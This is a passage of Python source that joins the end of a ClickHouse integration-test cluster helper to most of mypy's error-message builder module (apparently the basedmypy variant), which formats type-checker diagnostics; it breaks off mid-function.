tmpfs=str(self.tmpfs), logs_dir=logs_dir, depends_on=str(depends_on), user=os.getuid(), env_file=self.env_file, odbc_ini_path=odbc_ini_path, keytab_path=self.keytab_path, krb5_conf=self.krb5_conf, entrypoint_cmd=entrypoint_cmd, networks=networks, app_net=app_net, ipv4_address=ipv4_address, ipv6_address=ipv6_address, net_aliases=net_aliases, net_alias1=net_alias1, )) def destroy_dir(self): if p.exists(self.path): shutil.rmtree(self.path) class ClickHouseKiller(object): def __init__(self, clickhouse_node): self.clickhouse_node = clickhouse_node def __enter__(self): self.clickhouse_node.stop_clickhouse(kill=True) def __exit__(self, exc_type, exc_val, exc_tb): self.clickhouse_node.start_clickhouse()
"""Facilities for generating error messages during type checking. Don't add any non-trivial message construction logic to the type checker, as it can compromise clarity and make messages less consistent. Add such logic to this module instead. Literal messages, including those with format args, should be defined as constants in mypy.message_registry. Historically we tried to avoid all message string literals in the type checker but we are moving away from this convention. """ from contextlib import contextmanager from mypy.backports import OrderedDict import re import difflib from textwrap import dedent from typing import cast, List, Dict, Any, Sequence, Iterable, Iterator, Tuple, Set, Optional, Union from typing_extensions import Final from mypy.erasetype import erase_type from mypy.errors import Errors from mypy.types import ( Type, CallableType, Instance, TypeVarType, TupleType, TypedDictType, LiteralType, UnionType, NoneType, AnyType, Overloaded, FunctionLike, DeletedType, TypeType, UninhabitedType, TypeOfAny, UnboundType, PartialType, get_proper_type, ProperType, ParamSpecType, get_proper_types, TypeStrVisitor ) from mypy.typetraverser import TypeTraverserVisitor from mypy.nodes import ( TypeInfo, Context, MypyFile, FuncDef, reverse_builtin_aliases, ArgKind, ARG_POS, ARG_OPT, ARG_NAMED, ARG_NAMED_OPT, ARG_STAR, ARG_STAR2, ReturnStmt, NameExpr, Var, CONTRAVARIANT, COVARIANT, SymbolNode, CallExpr, IndexExpr, StrExpr, SymbolTable, TempNode, SYMBOL_FUNCBASE_TYPES, MemberExpr, Expression ) from mypy.operators import op_methods, op_methods_to_symbols from mypy.subtypes import ( is_subtype, find_member, get_member_flags, IS_SETTABLE, IS_CLASSVAR, IS_CLASS_OR_STATIC, ) from mypy.sametypes import is_same_type from mypy.typeops import separate_union_literals from mypy.util import unmangle from mypy.errorcodes import ErrorCode from mypy import message_registry, errorcodes as codes import mypy.options TYPES_FOR_UNIMPORTED_HINTS: Final = { 'typing.Any', 'typing.Callable', 'typing.Dict', 'typing.Iterable', 'typing.Iterator', 'typing.List', 'typing.Optional', 'typing.Set', 'typing.Tuple', 'typing.TypeVar', 'typing.Union', 'typing.cast', 'basedtyping.Untyped', } ARG_CONSTRUCTOR_NAMES: Final = { ARG_POS: "Arg", ARG_OPT: "DefaultArg", ARG_NAMED: "NamedArg", ARG_NAMED_OPT: "DefaultNamedArg", ARG_STAR: "VarArg", ARG_STAR2: "KwArg", } # Map from the full name of a missing definition to the test fixture (under # test-data/unit/fixtures/) that provides the definition. This is used for # generating better error messages when running mypy tests only. SUGGESTED_TEST_FIXTURES: Final = { 'builtins.list': 'list.pyi', 'builtins.dict': 'dict.pyi', 'builtins.set': 'set.pyi', 'builtins.tuple': 'tuple.pyi', 'builtins.bool': 'bool.pyi', 'builtins.Exception': 'exception.pyi', 'builtins.BaseException': 'exception.pyi', 'builtins.isinstance': 'isinstancelist.pyi', 'builtins.property': 'property.pyi', 'builtins.classmethod': 'classmethod.pyi', } class MessageBuilder: """Helper class for reporting type checker error messages with parameters. The methods of this class need to be provided with the context within a file; the errors member manages the wider context. IDEA: Support a 'verbose mode' that includes full information about types in error messages and that may otherwise produce more detailed error messages. """ # Report errors using this instance. It knows about the current file and # import context. errors: Errors modules: Dict[str, MypyFile] # Number of times errors have been disabled. disable_count = 0 # Hack to deduplicate error messages from union types disable_type_names_count = 0 def __init__(self, errors: Errors, modules: Dict[str, MypyFile]) -> None: self.errors = errors self.modules = modules self.disable_count = 0 self.disable_type_names_count = 0 # # Helpers # def copy(self) -> 'MessageBuilder': new = MessageBuilder(self.errors.copy(), self.modules) new.disable_count = self.disable_count new.disable_type_names_count = self.disable_type_names_count return new def clean_copy(self) -> 'MessageBuilder': errors = self.errors.copy() errors.error_info_map = OrderedDict() return MessageBuilder(errors, self.modules) def add_errors(self, messages: 'MessageBuilder') -> None: """Add errors in messages to this builder.""" if self.disable_count <= 0: for errs in messages.errors.error_info_map.values(): for info in errs: self.errors.add_error_info(info) @contextmanager def disable_errors(self) -> Iterator[None]: self.disable_count += 1 try: yield finally: self.disable_count -= 1 @contextmanager def disable_type_names(self) -> Iterator[None]: self.disable_type_names_count += 1 try: yield finally: self.disable_type_names_count -= 1 def is_errors(self) -> bool: return self.errors.is_errors() def most_recent_context(self) -> Context: """Return a dummy context matching the most recent generated error in current file.""" line, column = self.errors.most_recent_error_location() node = TempNode(NoneType()) node.line = line node.column = column return node def report(self, msg: str, context: Optional[Context], severity: str, *, code: Optional[ErrorCode] = None, file: Optional[str] = None, origin: Optional[Context] = None, offset: int = 0, allow_dups: bool = False) -> None: """Report an error or note (unless disabled).""" if origin is not None: end_line = origin.end_line elif context is not None: end_line = context.end_line else: end_line = None if self.disable_count <= 0: self.errors.report(context.get_line() if context else -1, context.get_column() if context else -1, msg, severity=severity, file=file, offset=offset, origin_line=origin.get_line() if origin else None, end_line=end_line, code=code, allow_dups=allow_dups) def fail(self, msg: str, context: Optional[Context], *, code: Optional[ErrorCode] = None, file: Optional[str] = None, origin: Optional[Context] = None, allow_dups: bool = False) -> None: """Report an error message (unless disabled).""" self.report(msg, context, 'error', code=code, file=file, origin=origin, allow_dups=allow_dups) def note(self, msg: str, context: Context, file: Optional[str] = None, origin: Optional[Context] = None, offset: int = 0, allow_dups: bool = False, *, code: Optional[ErrorCode] = None) -> None: """Report a note (unless disabled).""" self.report(msg, context, 'note', file=file, origin=origin, offset=offset, allow_dups=allow_dups, code=code) def note_multiline(self, messages: str, context: Context, file: Optional[str] = None, origin: Optional[Context] = None, offset: int = 0, allow_dups: bool = False, code: Optional[ErrorCode] = None) -> None: """Report as many notes as lines in the message (unless disabled).""" for msg in messages.splitlines(): self.report(msg, context, 'note', file=file, origin=origin, offset=offset, allow_dups=allow_dups, code=code) # # Specific operations # # The following operations are for generating specific error messages. They # get some information as arguments, and they build an error message based # on them. def has_no_attr(self, original_type: Type, typ: Type, member: str, context: Context, module_symbol_table: Optional[SymbolTable] = None) -> Type: """Report a missing or non-accessible member. original_type is the top-level type on which the error occurred. typ is the actual type that is missing the member. These can be different, e.g., in a union, original_type will be the union and typ will be the specific item in the union that does not have the member attribute. 'module_symbol_table' is passed to this function if the type for which we are trying to get a member was originally a module. The SymbolTable allows us to look up and suggests attributes of the module since they are not directly available on original_type If member corresponds to an operator, use the corresponding operator name in the messages. Return type Any. """ original_type = get_proper_type(original_type) typ = get_proper_type(typ) if (isinstance(original_type, Instance) and original_type.type.has_readable_member(member)): self.fail('Member "{}" is not assignable'.format(member), context) elif member == '__contains__': self.fail('Unsupported right operand type for in ({})'.format( format_type(original_type)), context, code=codes.OPERATOR) elif member in op_methods.values(): # Access to a binary operator member (e.g. _add). This case does # not handle indexing operations. for op, method in op_methods.items(): if method == member: self.unsupported_left_operand(op, original_type, context) break elif member == '__neg__': self.fail('Unsupported operand type for unary - ({})'.format( format_type(original_type)), context, code=codes.OPERATOR) elif member == '__pos__': self.fail('Unsupported operand type for unary + ({})'.format( format_type(original_type)), context, code=codes.OPERATOR) elif member == '__invert__': self.fail('Unsupported operand type for ~ ({})'.format( format_type(original_type)), context, code=codes.OPERATOR) elif member == '__getitem__': # Indexed get. # TODO: Fix this consistently in format_type if isinstance(original_type, CallableType) and original_type.is_type_obj(): self.fail('The type {} is not generic and not indexable'.format( format_type(original_type)), context) else: self.fail('Value of type {} is not indexable'.format( format_type(original_type)), context, code=codes.INDEX) elif member == '__setitem__': # Indexed set. self.fail('Unsupported target for indexed assignment ({})'.format( format_type(original_type)), context, code=codes.INDEX) elif member == '__call__': if isinstance(original_type, Instance) and \ (original_type.type.fullname == 'builtins.function'): # "'function' not callable" is a confusing error message. # Explain that the problem is that the type of the function is not known. self.fail('Cannot call function of unknown type', context, code=codes.OPERATOR) else: self.fail(message_registry.NOT_CALLABLE.format( format_type(original_type)), context, code=codes.OPERATOR) else: # The non-special case: a missing ordinary attribute. extra = '' if member == '__iter__': extra = ' (not iterable)' elif member == '__aiter__': extra = ' (not async iterable)' if not self.disable_type_names_count: failed = False if isinstance(original_type, Instance) and original_type.type.names: alternatives = set(original_type.type.names.keys()) if module_symbol_table is not None: alternatives |= {key for key in module_symbol_table.keys()} # in some situations, the member is in the alternatives set # but since we're in this function, we shouldn't suggest it if member in alternatives: alternatives.remove(member) matches = [m for m in COMMON_MISTAKES.get(member, []) if m in alternatives] matches.extend(best_matches(member, alternatives)[:3]) if member == '__aiter__' and matches == ['__iter__']: matches = [] # Avoid misleading suggestion if member == '__div__' and matches == ['__truediv__']: # TODO: Handle differences in division between Python 2 and 3 more cleanly matches = [] if matches: self.fail( '{} has no attribute "{}"; maybe {}?{}'.format( format_type(original_type), member, pretty_seq(matches, "or"), extra, ), context, code=codes.ATTR_DEFINED) failed = True if not failed: self.fail( '{} has no attribute "{}"{}'.format( format_type(original_type), member, extra), context, code=codes.ATTR_DEFINED) elif isinstance(original_type, UnionType): # The checker passes "object" in lieu of "None" for attribute # checks, so we manually convert it back. typ_format, orig_type_format = format_type_distinctly(typ, original_type) if typ_format == '"object"' and \ any(type(item) == NoneType for item in original_type.items): typ_format = '"None"' self.fail('Item {} of {} has no attribute "{}"{}'.format( typ_format, orig_type_format, member, extra), context, code=codes.UNION_ATTR) elif isinstance(original_type, TypeVarType): bound = get_proper_type(original_type.upper_bound) if isinstance(bound, UnionType): typ_fmt, bound_fmt = format_type_distinctly(typ, bound) original_type_fmt = format_type(original_type) self.fail( 'Item {} of the upper bound {} of type variable {} has no ' 'attribute "{}"{}'.format( typ_fmt, bound_fmt, original_type_fmt, member, extra), context, code=codes.UNION_ATTR) return AnyType(TypeOfAny.from_error) def unsupported_operand_types(self, op: str, left_type: Any, right_type: Any, context: Context, *, code: ErrorCode = codes.OPERATOR) -> None: """Report unsupported operand types for a binary operation. Types can be Type objects or strings. """ left_str = '' if isinstance(left_type, str): left_str = left_type else: left_str = format_type(left_type) right_str = '' if isinstance(right_type, str): right_str = right_type else: right_str = format_type(right_type) if self.disable_type_names_count: msg = 'Unsupported operand types for {} (likely involving Union)'.format(op) else: msg = 'Unsupported operand types for {} ({} and {})'.format( op, left_str, right_str) self.fail(msg, context, code=code) def unsupported_left_operand(self, op: str, typ: Type, context: Context) -> None: if self.disable_type_names_count: msg = 'Unsupported left operand type for {} (some union)'.format(op) else: msg = 'Unsupported left operand type for {} ({})'.format( op, format_type(typ)) self.fail(msg, context, code=codes.OPERATOR) def not_callable(self, typ: Type, context: Context) -> Type: self.fail(message_registry.NOT_CALLABLE.format(format_type(typ)), context) return AnyType(TypeOfAny.from_error) def untyped_function_call(self, callee: CallableType, context: Context) -> Type: name = callable_name(callee) or '(unknown)' self.fail('Call to untyped function {} in typed context'.format(name), context, code=codes.NO_UNTYPED_CALL) return AnyType(TypeOfAny.from_error) def partially_typed_function_call(self, callee: CallableType, context: CallExpr): name = callable_name(callee) or f'"{context.callee.name}"' or '(unknown)' # type: ignore self.fail(f'Call to incomplete function {name} in typed context', context, code=codes.NO_UNTYPED_CALL) self.note(f'Type is "{callee}"', context) def untyped_indexed_assignment(self, context: IndexExpr): # don't care about CallExpr because they are handled by partially_typed_function_call if isinstance(context.base, (NameExpr, MemberExpr)): message = f'Untyped indexed-assignment to "{context.base.name}" in typed context' self.fail(message, context, code=codes.NO_UNTYPED_USAGE) def untyped_name_usage(self, name: Union[str, Expression], context: Context): if isinstance(name, NameExpr): name = name.name elif not isinstance(name, str): self.fail('Usage of untyped name in typed context', context, code=codes.NO_UNTYPED_USAGE) return self.fail(f'Usage of untyped name "{name}" in typed context', context, code=codes.NO_UNTYPED_USAGE) def incompatible_argument(self, n: int, m: int, callee: CallableType, arg_type: Type, arg_kind: ArgKind, object_type: Optional[Type], context: Context, outer_context: Context) -> Optional[ErrorCode]: """Report an error about an incompatible argument type. The argument type is arg_type, argument number is n and the callee type is 'callee'. If the callee represents a method that corresponds to an operator, use the corresponding operator name in the messages. Return the error code that used for the argument (multiple error codes are possible). """ arg_type = get_proper_type(arg_type) target = '' callee_name = callable_name(callee) if callee_name is not None: name = callee_name if callee.bound_args and callee.bound_args[0] is not None: base = format_type(callee.bound_args[0]) else: base = extract_type(name) for method, op in op_methods_to_symbols.items(): for variant in method, '__r' + method[2:]: # FIX: do not rely on textual formatting if name.startswith('"{}" of'.format(variant)): if op == 'in' or variant != method: # Reversed order of base/argument. self.unsupported_operand_types(op, arg_type, base, context, code=codes.OPERATOR) else: self.unsupported_operand_types(op, base, arg_type, context, code=codes.OPERATOR) return codes.OPERATOR if name.startswith('"__cmp__" of'): self.unsupported_operand_types("comparison", arg_type, base, context, code=codes.OPERATOR) return codes.INDEX if name.startswith('"__getitem__" of'): self.invalid_index_type(arg_type, callee.arg_types[n - 1], base, context, code=codes.INDEX) return codes.INDEX if name.startswith('"__setitem__" of'): if n == 1: self.invalid_index_type(arg_type, callee.arg_types[n - 1], base, context, code=codes.INDEX) return codes.INDEX else: msg = '{} (expression has type {}, target has type {})' arg_type_str, callee_type_str = format_type_distinctly(arg_type, callee.arg_types[n - 1]) self.fail(msg.format(message_registry.INCOMPATIBLE_TYPES_IN_ASSIGNMENT, arg_type_str, callee_type_str), context, code=codes.ASSIGNMENT) return codes.ASSIGNMENT target = 'to {} '.format(name) msg = '' code = codes.MISC notes: List[str] = [] if callee_name == '<list>': name = callee_name[1:-1] n -= 1 actual_type_str, expected_type_str = format_type_distinctly(arg_type, callee.arg_types[0]) msg = '{} item {} has incompatible type {}; expected {}'.format( name.title(), n, actual_type_str, expected_type_str) code = codes.LIST_ITEM elif callee_name == '<dict>': name = callee_name[1:-1] n -= 1 key_type, value_type = cast(TupleType, arg_type).items expected_key_type, expected_value_type = cast(TupleType, callee.arg_types[0]).items # don't increase verbosity unless there is need to do so if is_subtype(key_type, expected_key_type): key_type_str = format_type(key_type) expected_key_type_str = format_type(expected_key_type) else: key_type_str, expected_key_type_str = format_type_distinctly( key_type, expected_key_type) if is_subtype(value_type, expected_value_type): value_type_str = format_type(value_type) expected_value_type_str = format_type(expected_value_type) else: value_type_str, expected_value_type_str = format_type_distinctly( value_type, expected_value_type) msg = '{} entry {} has incompatible type {}: {}; expected {}: {}'.format( name.title(), n, key_type_str, value_type_str, expected_key_type_str, expected_value_type_str) code = codes.DICT_ITEM elif callee_name == '<list-comprehension>': actual_type_str, expected_type_str = map(strip_quotes, format_type_distinctly(arg_type, callee.arg_types[0])) msg = 'List comprehension has incompatible type List[{}]; expected List[{}]'.format( actual_type_str, expected_type_str) elif callee_name == '<set-comprehension>': actual_type_str, expected_type_str = map(strip_quotes, format_type_distinctly(arg_type, callee.arg_types[0])) msg = 'Set comprehension has incompatible type Set[{}]; expected Set[{}]'.format( actual_type_str, expected_type_str) elif callee_name == '<dictionary-comprehension>': actual_type_str, expected_type_str = format_type_distinctly(arg_type, callee.arg_types[n - 1]) msg = ('{} expression in dictionary comprehension has incompatible type {}; ' 'expected type {}').format( 'Key' if n == 1 else 'Value', actual_type_str, expected_type_str) elif callee_name == '<generator>': actual_type_str, expected_type_str = format_type_distinctly(arg_type, callee.arg_types[0]) msg = 'Generator has incompatible item type {}; expected {}'.format( actual_type_str, expected_type_str) else: try: expected_type = callee.arg_types[m - 1] except IndexError: # Varargs callees expected_type = callee.arg_types[-1] arg_type_str, expected_type_str = format_type_distinctly( arg_type, expected_type, bare=True) if arg_kind == ARG_STAR: arg_type_str = '*' + arg_type_str elif arg_kind == ARG_STAR2: arg_type_str = '**' + arg_type_str # For function calls with keyword arguments, display the argument name rather than the # number. arg_label = str(n) if isinstance(outer_context, CallExpr) and len(outer_context.arg_names) >= n: arg_name = outer_context.arg_names[n - 1] if arg_name is not None: arg_label = '"{}"'.format(arg_name) if (arg_kind == ARG_STAR2 and isinstance(arg_type, TypedDictType) and m <= len(callee.arg_names) and callee.arg_names[m - 1] is not None and callee.arg_kinds[m - 1] != ARG_STAR2): arg_name = callee.arg_names[m - 1] assert arg_name is not None arg_type_str, expected_type_str = format_type_distinctly( arg_type.items[arg_name], expected_type, bare=True) arg_label = '"{}"'.format(arg_name) if isinstance(outer_context, IndexExpr) and isinstance(outer_context.index, StrExpr): msg = 'Value of "{}" has incompatible type {}; expected {}' .format( outer_context.index.value, quote_type_string(arg_type_str), quote_type_string(expected_type_str)) else: msg = 'Argument {} {}has incompatible type {}; expected {}'.format( arg_label, target, quote_type_string(arg_type_str), quote_type_string(expected_type_str)) object_type = get_proper_type(object_type) if isinstance(object_type, TypedDictType): code = codes.TYPEDDICT_ITEM else: code = codes.ARG_TYPE expected_type = get_proper_type(expected_type) if isinstance(expected_type, UnionType): expected_types = list(expected_type.items) else: expected_types = [expected_type] for type in get_proper_types(expected_types): if isinstance(arg_type, Instance) and isinstance(type, Instance): notes = append_invariance_notes(notes, arg_type, type) self.fail(msg, context, code=code) if notes: for note_msg in notes: self.note(note_msg, context, code=code) return code def incompatible_argument_note(self, original_caller_type: ProperType, callee_type: ProperType, context: Context, code: Optional[ErrorCode]) -> None: if isinstance(original_caller_type, (Instance, TupleType, TypedDictType)): if isinstance(callee_type, Instance) and callee_type.type.is_protocol: self.report_protocol_problems(original_caller_type, callee_type, context, code=code) if isinstance(callee_type, UnionType): for item in callee_type.items: item = get_proper_type(item) if isinstance(item, Instance) and item.type.is_protocol: self.report_protocol_problems(original_caller_type, item, context, code=code) if (isinstance(callee_type, CallableType) and isinstance(original_caller_type, Instance)): call = find_member('__call__', original_caller_type, original_caller_type, is_operator=True) if call: self.note_call(original_caller_type, call, context, code=code) def invalid_index_type(self, index_type: Type, expected_type: Type, base_str: str, context: Context, *, code: ErrorCode) -> None: index_str, expected_str = format_type_distinctly(index_type, expected_type) self.fail('Invalid index type {} for {}; expected type {}'.format( index_str, base_str, expected_str), context, code=code) def too_few_arguments(self, callee: CallableType, context: Context, argument_names: Optional[Sequence[Optional[str]]]) -> None: if argument_names is not None: num_positional_args = sum(k is None for k in argument_names) arguments_left = callee.arg_names[num_positional_args:callee.min_args] diff = [k for k in arguments_left if k not in argument_names] if len(diff) == 1: msg = 'Missing positional argument' else: msg = 'Missing positional arguments' callee_name = callable_name(callee) if callee_name is not None and diff and all(d is not None for d in diff): args = '", "'.join(cast(List[str], diff)) msg += ' "{}" in call to {}'.format(args, callee_name) else: msg = 'Too few arguments' + for_function(callee) else: msg = 'Too few arguments' + for_function(callee) self.fail(msg, context, code=codes.CALL_ARG) def missing_named_argument(self, callee: CallableType, context: Context, name: str) -> None: msg = 'Missing named argument "{}"'.format(name) + for_function(callee) self.fail(msg, context, code=codes.CALL_ARG) def too_many_arguments(self, callee: CallableType, context: Context) -> None: msg = 'Too many arguments' + for_function(callee) self.fail(msg, context, code=codes.CALL_ARG) self.maybe_note_about_special_args(callee, context) def too_many_arguments_from_typed_dict(self, callee: CallableType, arg_type: TypedDictType, context: Context) -> None: # Try to determine the name of the extra argument. for key in arg_type.items: if key not in callee.arg_names: msg = 'Extra argument "{}" from **args'.format(key) + for_function(callee) break else: self.too_many_arguments(callee, context) return self.fail(msg, context) def too_many_positional_arguments(self, callee: CallableType, context: Context) -> None: msg = 'Too many positional arguments' + for_function(callee) self.fail(msg, context) self.maybe_note_about_special_args(callee, context) def maybe_note_about_special_args(self, callee: CallableType, context: Context) -> None: # https://github.com/python/mypy/issues/11309 first_arg = callee.def_extras.get('first_arg') if first_arg and first_arg not in {'self', 'cls', 'mcs'}: self.note( 'Looks like the first special argument in a method ' 'is not named "self", "cls", or "mcs", ' 'maybe it is missing?', context, ) def unexpected_keyword_argument(self, callee: CallableType, name: str, arg_type: Type, context: Context) -> None: msg = 'Unexpected keyword argument "{}"'.format(name) + for_function(callee) # Suggest intended keyword, look for type match else fallback on any match. matching_type_args = [] not_matching_type_args = [] for i, kwarg_type in enumerate(callee.arg_types): callee_arg_name = callee.arg_names[i] if callee_arg_name is not None and callee.arg_kinds[i] != ARG_STAR: if is_subtype(arg_type, kwarg_type): matching_type_args.append(callee_arg_name) else: not_matching_type_args.append(callee_arg_name) matches = best_matches(name, matching_type_args) if not matches: matches = best_matches(name, not_matching_type_args) if matches: msg += "; did you mean {}?".format(pretty_seq(matches[:3], "or")) self.fail(msg, context, code=codes.CALL_ARG) module = find_defining_module(self.modules, callee) if module: assert callee.definition is not None fname = callable_name(callee) if not fname: # an alias to function with a different name fname = 'Called function' self.note('{} defined here'.format(fname), callee.definition, file=module.path, origin=context, code=codes.CALL_ARG) def duplicate_argument_value(self, callee: CallableType, index: int, context: Context) -> None: self.fail('{} gets multiple values for keyword argument "{}"'. format(callable_name(callee) or 'Function', callee.arg_names[index]), context) def does_not_return_value(self, callee_type: Optional[Type], context: Context) -> None: """Report an error about use of an unusable type.""" name: Optional[str] = None callee_type = get_proper_type(callee_type) if isinstance(callee_type, FunctionLike): name = callable_name(callee_type) if name is not None: self.fail('{} does not return a value'.format(capitalize(name)), context, code=codes.FUNC_RETURNS_VALUE) else: self.fail('Function does not return a value', context, code=codes.FUNC_RETURNS_VALUE) def underscore_function_call(self, context: Context) -> None: self.fail('Calling function named "_" is not allowed', context) def deleted_as_rvalue(self, typ: DeletedType, context: Context) -> None: """Report an error about using an deleted type as an rvalue.""" if typ.source is None: s = "" else: s = ' "{}"'.format(typ.source) self.fail('Trying to read deleted variable{}'.format(s), context) def deleted_as_lvalue(self, typ: DeletedType, context: Context) -> None: """Report an error about using an deleted type as an lvalue. Currently, this only occurs when trying to assign to an exception variable outside the local except: blocks. """ if typ.source is None: s = "" else: s = ' "{}"'.format(typ.source) self.fail('Assignment to variable{} outside except: block'.format(s), context) def no_variant_matches_arguments(self, overload: Overloaded, arg_types: List[Type], context: Context, *, code: Optional[ErrorCode] = None) -> None: code = code or codes.CALL_OVERLOAD name = callable_name(overload) if name: name_str = ' of {}'.format(name) else: name_str = '' arg_types_str = ', '.join(format_type(arg) for arg in arg_types) num_args = len(arg_types) if num_args == 0: self.fail('All overload variants{} require at least one argument'.format(name_str), context, code=code) elif num_args == 1: self.fail('No overload variant{} matches argument type {}' .format(name_str, arg_types_str), context, code=code) else: self.fail('No overload variant{} matches argument types {}' .format(name_str, arg_types_str), context, code=code) self.note( 'Possible overload variant{}:'.format(plural_s(len(overload.items))), context, code=code) for item in overload.items: self.note(pretty_callable(item), context, offset=4, code=code) def wrong_number_values_to_unpack(self, provided: int, expected: int, context: Context) -> None: if provided < expected: if provided == 1: self.fail('Need more than 1 value to unpack ({} expected)'.format(expected), context) else: self.fail('Need more than {} values to unpack ({} expected)'.format( provided, expected), context) elif provided > expected: self.fail('Too many values to unpack ({} expected, {} provided)'.format( expected, provided), context) def unpacking_strings_disallowed(self, context: Context) -> None: self.fail("Unpacking a string is disallowed", context) def type_not_iterable(self, type: Type, context: Context) -> None: self.fail('{} object is not iterable'.format(format_type(type)), context) def incompatible_operator_assignment(self, op: str, context: Context) -> None: self.fail('Result type of {} incompatible in assignment'.format(op), context) def overload_signature_incompatible_with_supertype( self, name: str, name_in_super: str, supertype: str, context: Context) -> None: target = self.override_target(name, name_in_super, supertype) self.fail('Signature of "{}" incompatible with {}'.format( name, target), context, code=codes.OVERRIDE) note_template = 'Overload variants must be defined in the same order as they are in "{}"' self.note(note_template.format(supertype), context, code=codes.OVERRIDE) def signature_incompatible_with_supertype( self, name: str, name_in_super: str, supertype: str, context: Context, original: Optional[FunctionLike] = None, override: Optional[FunctionLike] = None) -> None: code = codes.OVERRIDE target = self.override_target(name, name_in_super, supertype) self.fail('Signature of "{}" incompatible with {}'.format( name, target), context, code=code) INCLUDE_DECORATOR = True # Include @classmethod and @staticmethod decorators, if any ALLOW_DUPS = True # Allow duplicate notes, needed when signatures are duplicates ALIGN_OFFSET = 1 # One space, to account for the difference between error and note OFFSET = 4 # Four spaces, so that notes will look like this: # error: Signature of "f" incompatible with supertype "A" # note: Superclass: # note: def f(self) -> str # note: Subclass: # note: def f(self, x: str) -> None if original is not None and isinstance(original, (CallableType, Overloaded)) \ and override is not None and isinstance(override, (CallableType, Overloaded)): self.note('Superclass:', context, offset=ALIGN_OFFSET + OFFSET, code=code) self.pretty_callable_or_overload(original, context, offset=ALIGN_OFFSET + 2 * OFFSET, add_class_or_static_decorator=INCLUDE_DECORATOR, allow_dups=ALLOW_DUPS, code=code) self.note('Subclass:', context, offset=ALIGN_OFFSET + OFFSET, code=code) self.pretty_callable_or_overload(override, context, offset=ALIGN_OFFSET + 2 * OFFSET, add_class_or_static_decorator=INCLUDE_DECORATOR, allow_dups=ALLOW_DUPS, code=code) def pretty_callable_or_overload(self, tp: Union[CallableType, Overloaded], context: Context, *, offset: int = 0, add_class_or_static_decorator: bool = False, allow_dups: bool = False, code: Optional[ErrorCode] = None) -> None: if isinstance(tp, CallableType): if add_class_or_static_decorator: decorator = pretty_class_or_static_decorator(tp) if decorator is not None: self.note(decorator, context, offset=offset, allow_dups=allow_dups, code=code) self.note(pretty_callable(tp), context, offset=offset, allow_dups=allow_dups, code=code) elif isinstance(tp, Overloaded): self.pretty_overload(tp, context, offset, add_class_or_static_decorator=add_class_or_static_decorator, allow_dups=allow_dups, code=code) def argument_incompatible_with_supertype( self, arg_num: int, name: str, type_name: Optional[str], name_in_supertype: str, arg_type_in_supertype: Type, supertype: str, context: Context) -> None: target = self.override_target(name, name_in_supertype, supertype) arg_type_in_supertype_f = format_type_bare(arg_type_in_supertype) self.fail('Argument {} of "{}" is incompatible with {}; ' 'supertype defines the argument type as "{}"' .format(arg_num, name, target, arg_type_in_supertype_f), context, code=codes.OVERRIDE) self.note( 'This violates the Liskov substitution principle', context, code=codes.OVERRIDE) self.note( 'See https://mypy.readthedocs.io/en/stable/common_issues.html#incompatible-overrides', context, code=codes.OVERRIDE) if name == "__eq__" and type_name: multiline_msg = self.comparison_method_example_msg(class_name=type_name) self.note_multiline(multiline_msg, context, code=codes.OVERRIDE) def comparison_method_example_msg(self, class_name: str) -> str: return dedent('''\ It is recommended for "__eq__" to work with arbitrary objects, for example: def __eq__(self, other: object) -> bool: if not isinstance(other, {class_name}): return NotImplemented return <logic to compare two {class_name} instances> '''.format(class_name=class_name)) def return_type_incompatible_with_supertype( self, name: str, name_in_supertype: str, supertype: str, original: Type, override: Type, context: Context) -> None: target = self.override_target(name, name_in_supertype, supertype) override_str, original_str = format_type_distinctly(override, original) self.fail('Return type {} of "{}" incompatible with return type {} in {}' .format(override_str, name, original_str, target), context, code=codes.OVERRIDE) def override_target(self, name: str, name_in_super: str, supertype: str) -> str: target = 'supertype "{}"'.format(supertype) if name_in_super != name: target = '"{}" of {}'.format(name_in_super, target) return target def incompatible_type_application(self, expected_arg_count: int, actual_arg_count: int, context: Context) -> None: if expected_arg_count == 0: self.fail('Type application targets a non-generic function or class', context) elif actual_arg_count > expected_arg_count: self.fail('Type application has too many types ({} expected)' .format(expected_arg_count), context) else: self.fail('Type application has too few types ({} expected)' .format(expected_arg_count), context) def could_not_infer_type_arguments(self, callee_type: CallableType, n: int, context: Context) -> None: callee_name = callable_name(callee_type) if callee_name is not None and n > 0: self.fail('Cannot infer type argument {} of {}'.format(n, callee_name), context) else: self.fail('Cannot infer function type argument', context) def invalid_var_arg(self, typ: Type, context: Context) -> None: self.fail('List or tuple expected as variable arguments', context) def invalid_keyword_var_arg(self, typ: Type, is_mapping: bool, context: Context) -> None: typ = get_proper_type(typ) if isinstance(typ, Instance) and is_mapping: self.fail('Keywords must be strings', context) else: self.fail( 'Argument after ** must be a mapping, not {}'.format(format_type(typ)), context, code=codes.ARG_TYPE) def undefined_in_superclass(self, member: str, context: Context) -> None: self.fail('"{}" undefined in superclass'.format(member), context) def first_argument_for_super_must_be_type(self, actual: Type, context: Context) -> None: actual = get_proper_type(actual) if isinstance(actual, Instance): # Don't include type of instance, because it can look confusingly like a type # object. type_str = 'a non-type instance' else: type_str = format_type(actual) self.fail('Argument 1 for "super" must be a type object; got {}'.format(type_str), context, code=codes.ARG_TYPE) def too_few_string_formatting_arguments(self, context: Context) -> None: self.fail('Not enough arguments for format string', context, code=codes.STRING_FORMATTING) def too_many_string_formatting_arguments(self, context: Context) -> None: self.fail('Not all arguments converted during string formatting', context, code=codes.STRING_FORMATTING) def unsupported_placeholder(self, placeholder: str, context: Context) -> None: self.fail('Unsupported format character "%s"' % placeholder, context, code=codes.STRING_FORMATTING) def string_interpolation_with_star_and_key(self, context: Context) -> None: self.fail('String interpolation contains both stars and mapping keys', context, code=codes.STRING_FORMATTING) def requires_int_or_single_byte(self, context: Context, format_call: bool = False) -> None: self.fail('"{}c" requires an integer in range(256) or a single byte' .format(':' if format_call else '%'), context, code=codes.STRING_FORMATTING) def requires_int_or_char(self, context: Context, format_call: bool = False) -> None: self.fail('"{}c" requires int or char'.format(':' if format_call else '%'), context, code=codes.STRING_FORMATTING) def key_not_in_mapping(self, key: str, context: Context) -> None: self.fail('Key "%s" not found in mapping' % key, context, code=codes.STRING_FORMATTING) def string_interpolation_mixing_key_and_non_keys(self, context: Context) -> None: self.fail('String interpolation mixes specifier with and without mapping keys', context, code=codes.STRING_FORMATTING) def cannot_determine_type(self, name: str, context: Context) -> None: self.fail('Cannot determine type of "%s"' % name, context, code=codes.HAS_TYPE) def cannot_determine_type_in_base(self, name: str, base: str, context: Context) -> None: self.fail('Cannot determine type of "%s" in base class "%s"' % (name, base), context) def no_formal_self(self, name: str, item: CallableType, context: Context) -> None: self.fail('Attribute function "%s" with type %s does not accept self argument' % (name, format_type(item)), 